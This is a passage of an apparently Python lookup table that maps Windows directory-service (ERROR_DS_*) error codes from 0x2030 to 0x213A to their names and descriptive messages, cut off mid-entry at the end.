0x00002030: { "code": "ERROR_DS_NO_SUCH_OBJECT", "message": "There is no such object on the server.", }, 0x00002031: { "code": "ERROR_DS_ALIAS_PROBLEM", "message": "There is an alias problem.", }, 0x00002032: { "code": "ERROR_DS_INVALID_DN_SYNTAX", "message": "An invalid dn syntax has been specified.", }, 0x00002033: {"code": "ERROR_DS_IS_LEAF", "message": "The object is a leaf object."}, 0x00002034: { "code": "ERROR_DS_ALIAS_DEREF_PROBLEM", "message": "There is an alias dereferencing problem.", }, 0x00002035: { "code": "ERROR_DS_UNWILLING_TO_PERFORM", "message": "The server is unwilling to process the request.", }, 0x00002036: { "code": "ERROR_DS_LOOP_DETECT", "message": "A loop has been detected.", }, 0x00002037: { "code": "ERROR_DS_NAMING_VIOLATION", "message": "There is a naming violation.", }, 0x00002038: { "code": "ERROR_DS_OBJECT_RESULTS_TOO_LARGE", "message": "The result set is too large.", }, 0x00002039: { "code": "ERROR_DS_AFFECTS_MULTIPLE_DSAS", "message": "The operation affects multiple DSAs.", }, 0x0000203A: { "code": "ERROR_DS_SERVER_DOWN", "message": "The server is not operational.", }, 0x0000203B: { "code": "ERROR_DS_LOCAL_ERROR", "message": "A local error has occurred.", }, 0x0000203C: { "code": "ERROR_DS_ENCODING_ERROR", "message": "An encoding error has occurred.", }, 0x0000203D: { "code": "ERROR_DS_DECODING_ERROR", "message": "A decoding error has occurred.", }, 0x0000203E: { "code": "ERROR_DS_FILTER_UNKNOWN", "message": "The search filter cannot be recognized.", }, 0x0000203F: { "code": "ERROR_DS_PARAM_ERROR", "message": "One or more parameters are illegal.", }, 0x00002040: { "code": "ERROR_DS_NOT_SUPPORTED", "message": "The specified method is not supported.", }, 0x00002041: { "code": "ERROR_DS_NO_RESULTS_RETURNED", "message": "No results were returned.", }, 0x00002042: { "code": "ERROR_DS_CONTROL_NOT_FOUND", "message": "The specified control is not supported by the server.", }, 0x00002043: { "code": "ERROR_DS_CLIENT_LOOP", "message": "A referral loop was detected by the client.", }, 0x00002044: { "code": "ERROR_DS_REFERRAL_LIMIT_EXCEEDED", "message": "The preset referral limit was exceeded.", }, 0x00002045: { "code": "ERROR_DS_SORT_CONTROL_MISSING", "message": "The search requires a SORT control.", }, 0x00002046: { "code": "ERROR_DS_OFFSET_RANGE_ERROR", "message": "The search results exceed the offset range specified.", }, 0x0000206D: { "code": "ERROR_DS_ROOT_MUST_BE_NC", "message": ( "The root object must be the head of a naming context. The root object" " cannot have an instantiated parent." ), }, 0x0000206E: { "code": "ERROR_DS_ADD_REPLICA_INHIBITED", "message": ( "The add replica operation cannot be performed. The naming context must be" " writable to create the replica." ), }, 0x0000206F: { "code": "ERROR_DS_ATT_NOT_DEF_IN_SCHEMA", "message": ( "A reference to an attribute that is not defined in the schema occurred." ), }, 0x00002070: { "code": "ERROR_DS_MAX_OBJ_SIZE_EXCEEDED", "message": "The maximum size of an object has been exceeded.", }, 0x00002071: { "code": "ERROR_DS_OBJ_STRING_NAME_EXISTS", "message": ( "An attempt was made to add an object to the directory with a name that is" " already in use." ), }, 0x00002072: { "code": "ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA", "message": ( "An attempt was made to add an object of a class that does not have an RDN" " defined in the schema." ), }, 0x00002073: { "code": "ERROR_DS_RDN_DOESNT_MATCH_SCHEMA", "message": ( "An attempt was made to add an object using an RDN that is not the RDN" " defined in the schema." ), }, 0x00002074: { "code": "ERROR_DS_NO_REQUESTED_ATTS_FOUND", "message": "None of the requested attributes were found on the objects.", }, 0x00002075: { "code": "ERROR_DS_USER_BUFFER_TO_SMALL", "message": "The user buffer is too small.", }, 0x00002076: { "code": "ERROR_DS_ATT_IS_NOT_ON_OBJ", "message": ( "The attribute specified in the operation is not present on the object." ), }, 0x00002077: { "code": "ERROR_DS_ILLEGAL_MOD_OPERATION", "message": ( "Illegal modify operation. Some aspect of the modification is not" " permitted." ), }, 0x00002078: { "code": "ERROR_DS_OBJ_TOO_LARGE", "message": "The specified object is too large.", }, 0x00002079: { "code": "ERROR_DS_BAD_INSTANCE_TYPE", "message": "The specified instance type is not valid.", }, 0x0000207A: { "code": "ERROR_DS_MASTERDSA_REQUIRED", "message": "The operation must be performed at a master DSA.", }, 0x0000207B: { "code": "ERROR_DS_OBJECT_CLASS_REQUIRED", "message": "The object class attribute must be specified.", }, 0x0000207C: { "code": "ERROR_DS_MISSING_REQUIRED_ATT", "message": "A required attribute is missing.", }, 0x0000207D: { "code": "ERROR_DS_ATT_NOT_DEF_FOR_CLASS", "message": ( "An attempt was made to modify an object to include an attribute that is" " not legal for its class." ), }, 0x0000207E: { "code": "ERROR_DS_ATT_ALREADY_EXISTS", "message": "The specified attribute is already present on the object.", }, 0x00002080: { "code": "ERROR_DS_CANT_ADD_ATT_VALUES", "message": "The specified attribute is not present, or has no values.", }, 0x00002081: { "code": "ERROR_DS_SINGLE_VALUE_CONSTRAINT", "message": ( "Multiple values were specified for an attribute that can have only one" " value." ), }, 0x00002082: { "code": "ERROR_DS_RANGE_CONSTRAINT", "message": ( "A value for the attribute was not in the acceptable range of values." ), }, 0x00002083: { "code": "ERROR_DS_ATT_VAL_ALREADY_EXISTS", "message": "The specified value already exists.", }, 0x00002084: { "code": "ERROR_DS_CANT_REM_MISSING_ATT", "message": ( "The attribute cannot be removed because it is not present on the object." ), }, 0x00002085: { "code": "ERROR_DS_CANT_REM_MISSING_ATT_VAL", "message": ( "The attribute value cannot be removed because it is not present on the" " object." ), }, 0x00002086: { "code": "ERROR_DS_ROOT_CANT_BE_SUBREF", "message": "The specified root object cannot be a subreference.", }, 0x00002087: { "code": "ERROR_DS_NO_CHAINING", "message": "Chaining is not permitted.", }, 0x00002088: { "code": "ERROR_DS_NO_CHAINED_EVAL", "message": "Chained evaluation is not permitted.", }, 0x00002089: { "code": "ERROR_DS_NO_PARENT_OBJECT", "message": ( "The operation could not be performed because the object's parent is either" " uninstantiated or deleted." ), }, 0x0000208A: { "code": "ERROR_DS_PARENT_IS_AN_ALIAS", "message": ( "Having a parent that is an alias is not permitted. Aliases are leaf" " objects." ), }, 0x0000208B: { "code": "ERROR_DS_CANT_MIX_MASTER_AND_REPS", "message": ( "The object and parent must be of the same type, either both masters or" " both replicas." ), }, 0x0000208C: { "code": "ERROR_DS_CHILDREN_EXIST", "message": ( "The operation cannot be performed because child objects exist. This" " operation can only be performed on a leaf object." ), }, 0x0000208D: { "code": "ERROR_DS_OBJ_NOT_FOUND", "message": "Directory object not found.", }, 0x0000208E: { "code": "ERROR_DS_ALIASED_OBJ_MISSING", "message": "The aliased object is missing.", }, 0x0000208F: { "code": "ERROR_DS_BAD_NAME_SYNTAX", "message": "The object name has bad syntax.", }, 0x00002090: { "code": "ERROR_DS_ALIAS_POINTS_TO_ALIAS", "message": "An alias is not permitted to refer to another alias.", }, 0x00002091: { "code": "ERROR_DS_CANT_DEREF_ALIAS", "message": "The alias cannot be dereferenced.", }, 0x00002092: { "code": "ERROR_DS_OUT_OF_SCOPE", "message": "The operation is out of scope.", }, 0x00002093: { "code": "ERROR_DS_OBJECT_BEING_REMOVED", "message": ( "The operation cannot continue because the object is in the process of" " being removed." ), }, 0x00002094: { "code": "ERROR_DS_CANT_DELETE_DSA_OBJ", "message": "The DSA object cannot be deleted.", }, 0x00002095: { "code": "ERROR_DS_GENERIC_ERROR", "message": "A directory service error has occurred.", }, 0x00002096: { "code": "ERROR_DS_DSA_MUST_BE_INT_MASTER", "message": ( "The operation can only be performed on an internal master DSA object." ), }, 0x00002097: { "code": "ERROR_DS_CLASS_NOT_DSA", "message": "The object must be of class DSA.", }, 0x00002098: { "code": "ERROR_DS_INSUFF_ACCESS_RIGHTS", "message": "Insufficient access rights to perform the operation.", }, 0x00002099: { "code": "ERROR_DS_ILLEGAL_SUPERIOR", "message": ( "The object cannot be added because the parent is not on the list of" " possible superiors." ), }, 0x0000209A: { "code": "ERROR_DS_ATTRIBUTE_OWNED_BY_SAM", "message": ( "Access to the attribute is not permitted because the attribute is owned by" " the SAM." ), }, 0x0000209B: { "code": "ERROR_DS_NAME_TOO_MANY_PARTS", "message": "The name has too many parts.", }, 0x0000209C: {"code": "ERROR_DS_NAME_TOO_LONG", "message": "The name is too long."}, 0x0000209D: { "code": "ERROR_DS_NAME_VALUE_TOO_LONG", "message": "The name value is too long.", }, 0x0000209E: { "code": "ERROR_DS_NAME_UNPARSEABLE", "message": "The directory service encountered an error parsing a name.", }, 0x0000209F: { "code": "ERROR_DS_NAME_TYPE_UNKNOWN", "message": "The directory service cannot get the attribute type for a name.", }, 0x000020A0: { "code": "ERROR_DS_NOT_AN_OBJECT", "message": ( "The name does not identify an object; the name identifies a phantom." ), }, 0x000020A1: { "code": "ERROR_DS_SEC_DESC_TOO_SHORT", "message": "The security descriptor is too short.", }, 0x000020A2: { "code": "ERROR_DS_SEC_DESC_INVALID", "message": "The security descriptor is invalid.", }, 0x000020A3: { "code": "ERROR_DS_NO_DELETED_NAME", "message": "Failed to create name for deleted object.", }, 0x000020A4: { "code": "ERROR_DS_SUBREF_MUST_HAVE_PARENT", "message": "The parent of a new subreference must exist.", }, 0x000020A5: { "code": "ERROR_DS_NCNAME_MUST_BE_NC", "message": "The object must be a naming context.", }, 0x000020A6: { "code": "ERROR_DS_CANT_ADD_SYSTEM_ONLY", "message": ( "It is not permitted to add an attribute that is owned by the system." ), }, 0x000020A7: { "code": "ERROR_DS_CLASS_MUST_BE_CONCRETE", "message": ( "The class of the object must be structural; you cannot instantiate an" " abstract class." ), }, 0x000020A8: { "code": "ERROR_DS_INVALID_DMD", "message": "The schema object could not be found.", }, 0x000020A9: { "code": "ERROR_DS_OBJ_GUID_EXISTS", "message": "A local object with this GUID (dead or alive) already exists.", }, 0x000020AA: { "code": "ERROR_DS_NOT_ON_BACKLINK", "message": "The operation cannot be performed on a back link.", }, 0x000020AB: { "code": "ERROR_DS_NO_CROSSREF_FOR_NC", "message": ( "The cross-reference for the specified naming context could not be found." ), }, 0x000020AC: { "code": "ERROR_DS_SHUTTING_DOWN", "message": ( "The operation could not be performed because the directory service is" " shutting down." ), }, 0x000020AD: { "code": "ERROR_DS_UNKNOWN_OPERATION", "message": "The directory service request is invalid.", }, 0x000020AE: { "code": "ERROR_DS_INVALID_ROLE_OWNER", "message": "The role owner attribute could not be read.", }, 0x000020AF: { "code": "ERROR_DS_COULDNT_CONTACT_FSMO", "message": ( "The requested Flexible Single Master Operations (FSMO) operation failed." " The current FSMO holder could not be contacted." ), }, 0x000020B0: { "code": "ERROR_DS_CROSS_NC_DN_RENAME", "message": ( "Modification of a distinguished name across a naming context is not" " permitted." ), }, 0x000020B1: { "code": "ERROR_DS_CANT_MOD_SYSTEM_ONLY", "message": ( "The attribute cannot be modified because it is owned by the system." ), }, 0x000020B2: { "code": "ERROR_DS_REPLICATOR_ONLY", "message": "Only the replicator can perform this function.", }, 0x000020B3: { "code": "ERROR_DS_OBJ_CLASS_NOT_DEFINED", "message": "The specified class is not defined.", }, 0x000020B4: { "code": "ERROR_DS_OBJ_CLASS_NOT_SUBCLASS", "message": "The specified class is not a subclass.", }, 0x000020B5: { "code": "ERROR_DS_NAME_REFERENCE_INVALID", "message": "The name reference is invalid.", }, 0x000020B6: { "code": "ERROR_DS_CROSS_REF_EXISTS", "message": "A cross-reference already exists.", }, 0x000020B7: { "code": "ERROR_DS_CANT_DEL_MASTER_CROSSREF", "message": "It is not permitted to delete a master cross-reference.", }, 0x000020B8: { "code": "ERROR_DS_SUBTREE_NOTIFY_NOT_NC_HEAD", "message": ( "Subtree notifications are only supported on naming context (NC) heads." ), }, 0x000020B9: { "code": "ERROR_DS_NOTIFY_FILTER_TOO_COMPLEX", "message": "Notification filter is too complex.", }, 0x000020BA: { "code": "ERROR_DS_DUP_RDN", "message": "Schema update failed: Duplicate RDN.", }, 0x000020BB: { "code": "ERROR_DS_DUP_OID", "message": "Schema update failed: Duplicate OID.", }, 0x000020BC: { "code": "ERROR_DS_DUP_MAPI_ID", "message": ( "Schema update failed: Duplicate Message Application Programming Interface" " (MAPI) identifier." ), }, 0x000020BD: { "code": "ERROR_DS_DUP_SCHEMA_ID_GUID", "message": "Schema update failed: Duplicate schema ID GUID.", }, 0x000020BE: { "code": "ERROR_DS_DUP_LDAP_DISPLAY_NAME", "message": "Schema update failed: Duplicate LDAP display name.", }, 0x000020BF: { "code": "ERROR_DS_SEMANTIC_ATT_TEST", "message": "Schema update failed: Range-Lower less than Range-Upper.", }, 0x000020C0: { "code": "ERROR_DS_SYNTAX_MISMATCH", "message": "Schema update failed: Syntax mismatch.", }, 0x000020C1: { "code": "ERROR_DS_EXISTS_IN_MUST_HAVE", "message": ( "Schema deletion failed: Attribute is used in the Must-Contain list." ), }, 0x000020C2: { "code": "ERROR_DS_EXISTS_IN_MAY_HAVE", "message": "Schema deletion failed: Attribute is used in the May-Contain list.", }, 0x000020C3: { "code": "ERROR_DS_NONEXISTENT_MAY_HAVE", "message": ( "Schema update failed: Attribute in May-Contain list does not exist." ), }, 0x000020C4: { "code": "ERROR_DS_NONEXISTENT_MUST_HAVE", "message": ( "Schema update failed: Attribute in the Must-Contain list does not exist." ), }, 0x000020C5: { "code": "ERROR_DS_AUX_CLS_TEST_FAIL", "message": ( "Schema update failed: Class in the Aux Class list does not exist or is not" " an auxiliary class." ), }, 0x000020C6: { "code": "ERROR_DS_NONEXISTENT_POSS_SUP", "message": ( "Schema update failed: Class in the Poss-Superiors list does not exist." ), }, 0x000020C7: { "code": "ERROR_DS_SUB_CLS_TEST_FAIL", "message": ( "Schema update failed: Class in the subclass of the list does not exist or" " does not satisfy hierarchy rules." ), }, 0x000020C8: { "code": "ERROR_DS_BAD_RDN_ATT_ID_SYNTAX", "message": "Schema update failed: Rdn-Att-Id has wrong syntax.", }, 0x000020C9: { "code": "ERROR_DS_EXISTS_IN_AUX_CLS", "message": "Schema deletion failed: Class is used as an auxiliary class.", }, 0x000020CA: { "code": "ERROR_DS_EXISTS_IN_SUB_CLS", "message": "Schema deletion failed: Class is used as a subclass.", }, 0x000020CB: { "code": "ERROR_DS_EXISTS_IN_POSS_SUP", "message": "Schema deletion failed: Class is used as a Poss-Superior.", }, 0x000020CC: { "code": "ERROR_DS_RECALCSCHEMA_FAILED", "message": "Schema update failed in recalculating validation cache.", }, 0x000020CD: { "code": "ERROR_DS_TREE_DELETE_NOT_FINISHED", "message": ( "The tree deletion is not finished. The request must be made again to" " continue deleting the tree." ), }, 0x000020CE: { "code": "ERROR_DS_CANT_DELETE", "message": "The requested delete operation could not be performed.", }, 0x000020CF: { "code": "ERROR_DS_ATT_SCHEMA_REQ_ID", "message": "Cannot read the governs class identifier for the schema record.", }, 0x000020D0: { "code": "ERROR_DS_BAD_ATT_SCHEMA_SYNTAX", "message": "The attribute schema has bad syntax.", }, 0x000020D1: { "code": "ERROR_DS_CANT_CACHE_ATT", "message": "The attribute could not be cached.", }, 0x000020D2: { "code": "ERROR_DS_CANT_CACHE_CLASS", "message": "The class could not be cached.", }, 0x000020D3: { "code": "ERROR_DS_CANT_REMOVE_ATT_CACHE", "message": "The attribute could not be removed from the cache.", }, 0x000020D4: { "code": "ERROR_DS_CANT_REMOVE_CLASS_CACHE", "message": "The class could not be removed from the cache.", }, 0x000020D5: { "code": "ERROR_DS_CANT_RETRIEVE_DN", "message": "The distinguished name attribute could not be read.", }, 0x000020D6: { "code": "ERROR_DS_MISSING_SUPREF", "message": ( "No superior reference has been configured for the directory service. The" " directory service is, therefore, unable to issue referrals to objects" " outside this forest." ), }, 0x000020D7: { "code": "ERROR_DS_CANT_RETRIEVE_INSTANCE", "message": "The instance type attribute could not be retrieved.", }, 0x000020D8: { "code": "ERROR_DS_CODE_INCONSISTENCY", "message": "An internal error has occurred.", }, 0x000020D9: { "code": "ERROR_DS_DATABASE_ERROR", "message": "A database error has occurred.", }, 0x000020DA: { "code": "ERROR_DS_GOVERNSID_MISSING", "message": "The governsID attribute is missing.", }, 0x000020DB: { "code": "ERROR_DS_MISSING_EXPECTED_ATT", "message": "An expected attribute is missing.", }, 0x000020DC: { "code": "ERROR_DS_NCNAME_MISSING_CR_REF", "message": "The specified naming context is missing a cross-reference.", }, 0x000020DD: { "code": "ERROR_DS_SECURITY_CHECKING_ERROR", "message": "A security checking error has occurred.", }, 0x000020DE: { "code": "ERROR_DS_SCHEMA_NOT_LOADED", "message": "The schema is not loaded.", }, 0x000020DF: { "code": "ERROR_DS_SCHEMA_ALLOC_FAILED", "message": ( "Schema allocation failed. Check if the machine is running low on memory." ), }, 0x000020E0: { "code": "ERROR_DS_ATT_SCHEMA_REQ_SYNTAX", "message": "Failed to obtain the required syntax for the attribute schema.", }, 0x000020E1: { "code": "ERROR_DS_GCVERIFY_ERROR", "message": ( "The GC verification failed. The GC is not available or does not support" " the operation. Some part of the directory is currently not available." ), }, 0x000020E2: { "code": "ERROR_DS_DRA_SCHEMA_MISMATCH", "message": ( "The replication operation failed because of a schema mismatch between the" " servers involved." ), }, 0x000020E3: { "code": "ERROR_DS_CANT_FIND_DSA_OBJ", "message": "The DSA object could not be found.", }, 0x000020E4: { "code": "ERROR_DS_CANT_FIND_EXPECTED_NC", "message": "The naming context could not be found.", }, 0x000020E5: { "code": "ERROR_DS_CANT_FIND_NC_IN_CACHE", "message": "The naming context could not be found in the cache.", }, 0x000020E6: { "code": "ERROR_DS_CANT_RETRIEVE_CHILD", "message": "The child object could not be retrieved.", }, 0x000020E7: { "code": "ERROR_DS_SECURITY_ILLEGAL_MODIFY", "message": "The modification was not permitted for security reasons.", }, 0x000020E8: { "code": "ERROR_DS_CANT_REPLACE_HIDDEN_REC", "message": "The operation cannot replace the hidden record.", }, 0x000020E9: { "code": "ERROR_DS_BAD_HIERARCHY_FILE", "message": "The hierarchy file is invalid.", }, 0x000020EA: { "code": "ERROR_DS_BUILD_HIERARCHY_TABLE_FAILED", "message": "The attempt to build the hierarchy table failed.", }, 0x000020EB: { "code": "ERROR_DS_CONFIG_PARAM_MISSING", "message": ( "The directory configuration parameter is missing from the registry." ), }, 0x000020EC: { "code": "ERROR_DS_COUNTING_AB_INDICES_FAILED", "message": "The attempt to count the address book indices failed.", }, 0x000020ED: { "code": "ERROR_DS_HIERARCHY_TABLE_MALLOC_FAILED", "message": "The allocation of the hierarchy table failed.", }, 0x000020EE: { "code": "ERROR_DS_INTERNAL_FAILURE", "message": "The directory service encountered an internal failure.", }, 0x000020EF: { "code": "ERROR_DS_UNKNOWN_ERROR", "message": "The directory service encountered an unknown failure.", }, 0x000020F0: { "code": "ERROR_DS_ROOT_REQUIRES_CLASS_TOP", "message": 'A root object requires a class of "top".', }, 0x000020F1: { "code": "ERROR_DS_REFUSING_FSMO_ROLES", "message": ( "This directory server is shutting down, and cannot take ownership of new" " floating single-master operation roles." ), }, 0x000020F2: { "code": "ERROR_DS_MISSING_FSMO_SETTINGS", "message": ( "The directory service is missing mandatory configuration information and" " is unable to determine the ownership of floating single-master operation" " roles." ), }, 0x000020F3: { "code": "ERROR_DS_UNABLE_TO_SURRENDER_ROLES", "message": ( "The directory service was unable to transfer ownership of one or more" " floating single-master operation roles to other servers." ), }, 0x000020F4: { "code": "ERROR_DS_DRA_GENERIC", "message": "The replication operation failed.", }, 0x000020F5: { "code": "ERROR_DS_DRA_INVALID_PARAMETER", "message": "An invalid parameter was specified for this replication operation.", }, 0x000020F6: { "code": "ERROR_DS_DRA_BUSY", "message": ( "The directory service is too busy to complete the replication operation at" " this time." ), }, 0x000020F7: { "code": "ERROR_DS_DRA_BAD_DN", "message": "The DN specified for this replication operation is invalid.", }, 0x000020F8: { "code": "ERROR_DS_DRA_BAD_NC", "message": ( "The naming context specified for this replication operation is invalid." ), }, 0x000020F9: { "code": "ERROR_DS_DRA_DN_EXISTS", "message": "The DN specified for this replication operation already exists.", }, 0x000020FA: { "code": "ERROR_DS_DRA_INTERNAL_ERROR", "message": "The replication system encountered an internal error.", }, 0x000020FB: { "code": "ERROR_DS_DRA_INCONSISTENT_DIT", "message": "The replication operation encountered a database inconsistency.", }, 0x000020FC: { "code": "ERROR_DS_DRA_CONNECTION_FAILED", "message": ( "The server specified for this replication operation could not be" " contacted." ), }, 0x000020FD: { "code": "ERROR_DS_DRA_BAD_INSTANCE_TYPE", "message": ( "The replication operation encountered an object with an invalid instance" " type." ), }, 0x000020FE: { "code": "ERROR_DS_DRA_OUT_OF_MEM", "message": "The replication operation failed to allocate memory.", }, 0x000020FF: { "code": "ERROR_DS_DRA_MAIL_PROBLEM", "message": ( "The replication operation encountered an error with the mail system." ), }, 0x00002100: { "code": "ERROR_DS_DRA_REF_ALREADY_EXISTS", "message": ( "The replication reference information for the target server already" " exists." ), }, 0x00002101: { "code": "ERROR_DS_DRA_REF_NOT_FOUND", "message": ( "The replication reference information for the target server does not" " exist." ), }, 0x00002102: { "code": "ERROR_DS_DRA_OBJ_IS_REP_SOURCE", "message": ( "The naming context cannot be removed because it is replicated to another" " server." ), }, 0x00002103: { "code": "ERROR_DS_DRA_DB_ERROR", "message": "The replication operation encountered a database error.", }, 0x00002104: { "code": "ERROR_DS_DRA_NO_REPLICA", "message": ( "The naming context is in the process of being removed or is not replicated" " from the specified server." ), }, 0x00002105: { "code": "ERROR_DS_DRA_ACCESS_DENIED", "message": "Replication access was denied.", }, 0x00002106: { "code": "ERROR_DS_DRA_NOT_SUPPORTED", "message": ( "The requested operation is not supported by this version of the directory" " service." ), }, 0x00002107: { "code": "ERROR_DS_DRA_RPC_CANCELLED", "message": "The replication RPC was canceled.", }, 0x00002108: { "code": "ERROR_DS_DRA_SOURCE_DISABLED", "message": "The source server is currently rejecting replication requests.", }, 0x00002109: { "code": "ERROR_DS_DRA_SINK_DISABLED", "message": ( "The destination server is currently rejecting replication requests." ), }, 0x0000210A: { "code": "ERROR_DS_DRA_NAME_COLLISION", "message": ( "The replication operation failed due to a collision of object names." ), }, 0x0000210B: { "code": "ERROR_DS_DRA_SOURCE_REINSTALLED", "message": "The replication source has been reinstalled.", }, 0x0000210C: { "code": "ERROR_DS_DRA_MISSING_PARENT", "message": ( "The replication operation failed because a required parent object is" " missing." ), }, 0x0000210D: { "code": "ERROR_DS_DRA_PREEMPTED", "message": "The replication operation was preempted.", }, 0x0000210E: { "code": "ERROR_DS_DRA_ABANDON_SYNC", "message": ( "The replication synchronization attempt was abandoned because of a lack of" " updates." ), }, 0x0000210F: { "code": "ERROR_DS_DRA_SHUTDOWN", "message": ( "The replication operation was terminated because the system is shutting" " down." ), }, 0x00002110: { "code": "ERROR_DS_DRA_INCOMPATIBLE_PARTIAL_SET", "message": ( "A synchronization attempt failed because the destination DC is currently" " waiting to synchronize new partial attributes from the source. This" " condition is normal if a recent schema change modified the partial" " attribute set. The destination partial attribute set is not a subset of" " the source partial attribute set." ), }, 0x00002111: { "code": "ERROR_DS_DRA_SOURCE_IS_PARTIAL_REPLICA", "message": ( "The replication synchronization attempt failed because a master replica" " attempted to sync from a partial replica." ), }, 0x00002112: { "code": "ERROR_DS_DRA_EXTN_CONNECTION_FAILED", "message": ( "The server specified for this replication operation was contacted, but" " that server was unable to contact an additional server needed to complete" " the operation." ), }, 0x00002113: { "code": "ERROR_DS_INSTALL_SCHEMA_MISMATCH", "message": ( "The version of the directory service schema of the source forest is not" " compatible with the version of the directory service on this computer." ), }, 0x00002114: { "code": "ERROR_DS_DUP_LINK_ID", "message": ( "Schema update failed: An attribute with the same link identifier already" " exists." ), }, 0x00002115: { "code": "ERROR_DS_NAME_ERROR_RESOLVING", "message": "Name translation: Generic processing error.", }, 0x00002116: { "code": "ERROR_DS_NAME_ERROR_NOT_FOUND", "message": ( "Name translation: Could not find the name or insufficient right to see" " name." ), }, 0x00002117: { "code": "ERROR_DS_NAME_ERROR_NOT_UNIQUE", "message": "Name translation: Input name mapped to more than one output name.", }, 0x00002118: { "code": "ERROR_DS_NAME_ERROR_NO_MAPPING", "message": ( "Name translation: The input name was found but not the associated output" " format." ), }, 0x00002119: { "code": "ERROR_DS_NAME_ERROR_DOMAIN_ONLY", "message": ( "Name translation: Unable to resolve completely, only the domain was found." ), }, 0x0000211A: { "code": "ERROR_DS_NAME_ERROR_NO_SYNTACTICAL_MAPPING", "message": ( "Name translation: Unable to perform purely syntactical mapping at the" " client without going out to the wire." ), }, 0x0000211B: { "code": "ERROR_DS_CONSTRUCTED_ATT_MOD", "message": "Modification of a constructed attribute is not allowed.", }, 0x0000211C: { "code": "ERROR_DS_WRONG_OM_OBJ_CLASS", "message": ( "The OM-Object-Class specified is incorrect for an attribute with the" " specified syntax." ), }, 0x0000211D: { "code": "ERROR_DS_DRA_REPL_PENDING", "message": "The replication request has been posted; waiting for a reply.", }, 0x0000211E: { "code": "ERROR_DS_DS_REQUIRED", "message": ( "The requested operation requires a directory service, and none was" " available." ), }, 0x0000211F: { "code": "ERROR_DS_INVALID_LDAP_DISPLAY_NAME", "message": ( "The LDAP display name of the class or attribute contains non-ASCII" " characters." ), }, 0x00002120: { "code": "ERROR_DS_NON_BASE_SEARCH", "message": ( "The requested search operation is only supported for base searches." ), }, 0x00002121: { "code": "ERROR_DS_CANT_RETRIEVE_ATTS", "message": "The search failed to retrieve attributes from the database.", }, 0x00002122: { "code": "ERROR_DS_BACKLINK_WITHOUT_LINK", "message": ( "The schema update operation tried to add a backward link attribute that" " has no corresponding forward link." ), }, 0x00002123: { "code": "ERROR_DS_EPOCH_MISMATCH", "message": ( "The source and destination of a cross-domain move do not agree on the" " object's epoch number. Either the source or the destination does not have" " the latest version of the object." ), }, 0x00002124: { "code": "ERROR_DS_SRC_NAME_MISMATCH", "message": ( "The source and destination of a cross-domain move do not agree on the" " object's current name. Either the source or the destination does not have" " the latest version of the object." ), }, 0x00002125: { "code": "ERROR_DS_SRC_AND_DST_NC_IDENTICAL", "message": ( "The source and destination for the cross-domain move operation are" " identical. The caller should use a local move operation instead of a" " cross-domain move operation." ), }, 0x00002126: { "code": "ERROR_DS_DST_NC_MISMATCH", "message": ( "The source and destination for a cross-domain move do not agree on the" " naming contexts in the forest. Either the source or the destination does" " not have the latest version of the Partitions container." ), }, 0x00002127: { "code": "ERROR_DS_NOT_AUTHORITIVE_FOR_DST_NC", "message": ( "The destination of a cross-domain move is not authoritative for the" " destination naming context." ), }, 0x00002128: { "code": "ERROR_DS_SRC_GUID_MISMATCH", "message": ( "The source and destination of a cross-domain move do not agree on the" " identity of the source object. Either the source or the destination does" " not have the latest version of the source object." ), }, 0x00002129: { "code": "ERROR_DS_CANT_MOVE_DELETED_OBJECT", "message": ( "The object being moved across domains is already known to be deleted by" " the destination server. The source server does not have the latest" " version of the source object." ), }, 0x0000212A: { "code": "ERROR_DS_PDC_OPERATION_IN_PROGRESS", "message": ( "Another operation that requires exclusive access to the PDC FSMO is" " already in progress." ), }, 0x0000212B: { "code": "ERROR_DS_CROSS_DOMAIN_CLEANUP_REQD", "message": ( "A cross-domain move operation failed because two versions of the moved" " object exist—one each in the source and destination domains. The" " destination object needs to be removed to restore the system to a" " consistent state." ), }, 0x0000212C: { "code": "ERROR_DS_ILLEGAL_XDOM_MOVE_OPERATION", "message": ( "This object cannot be moved across domain boundaries either because" " cross-domain moves for this class are not allowed, or the object has some" " special characteristics, for example, a trust account or a restricted" " relative identifier (RID), that prevent its move." ), }, 0x0000212D: { "code": "ERROR_DS_CANT_WITH_ACCT_GROUP_MEMBERSHPS", "message": ( "Cannot move objects with memberships across domain boundaries because," " once moved, this violates the membership conditions of the account group." " Remove the object from any account group memberships and retry." ), }, 0x0000212E: { "code": "ERROR_DS_NC_MUST_HAVE_NC_PARENT", "message": ( "A naming context head must be the immediate child of another naming" " context head, not of an interior node." ), }, 0x0000212F: { "code": "ERROR_DS_CR_IMPOSSIBLE_TO_VALIDATE", "message": ( "The directory cannot validate the proposed naming context name because it" " does not hold a replica of the naming context above the proposed naming" " context. Ensure that the domain naming master role is held by a server" " that is configured as a GC server, and that the server is up-to-date with" " its replication partners. (Applies only to Windows 2000 operating system" " domain naming masters.)" ), }, 0x00002130: { "code": "ERROR_DS_DST_DOMAIN_NOT_NATIVE", "message": "Destination domain must be in native mode.", }, 0x00002131: { "code": "ERROR_DS_MISSING_INFRASTRUCTURE_CONTAINER", "message": ( "The operation cannot be performed because the server does not have an" " infrastructure container in the domain of interest." ), }, 0x00002132: { "code": "ERROR_DS_CANT_MOVE_ACCOUNT_GROUP", "message": "Cross-domain moves of nonempty account groups is not allowed.", }, 0x00002133: { "code": "ERROR_DS_CANT_MOVE_RESOURCE_GROUP", "message": "Cross-domain moves of nonempty resource groups is not allowed.", }, 0x00002134: { "code": "ERROR_DS_INVALID_SEARCH_FLAG", "message": ( "The search flags for the attribute are invalid. The ambiguous name" " resolution (ANR) bit is valid only on attributes of Unicode or Teletex" " strings." ), }, 0x00002135: { "code": "ERROR_DS_NO_TREE_DELETE_ABOVE_NC", "message": ( "Tree deletions starting at an object that has an NC head as a descendant" " are not allowed." ), }, 0x00002136: { "code": "ERROR_DS_COULDNT_LOCK_TREE_FOR_DELETE", "message": ( "The directory service failed to lock a tree in preparation for a tree" " deletion because the tree was in use." ), }, 0x00002137: { "code": "ERROR_DS_COULDNT_IDENTIFY_OBJECTS_FOR_TREE_DELETE", "message": ( "The directory service failed to identify the list of objects to delete" " while attempting a tree deletion." ), }, 0x00002138: { "code": "ERROR_DS_SAM_INIT_FAILURE", "message": ( "SAM initialization failed because of the following error: %1. Error" " Status: 0x%2. Click OK to shut down the system and reboot into Directory" " Services Restore Mode. Check the event log for detailed information." ), }, 0x00002139: { "code": "ERROR_DS_SENSITIVE_GROUP_VIOLATION", "message": ( "Only an administrator can modify the membership list of an administrative" " group." ), }, 0x0000213A: { "code": "ERROR_DS_CANT_MOD_PRIMARYGROUPID", "message": 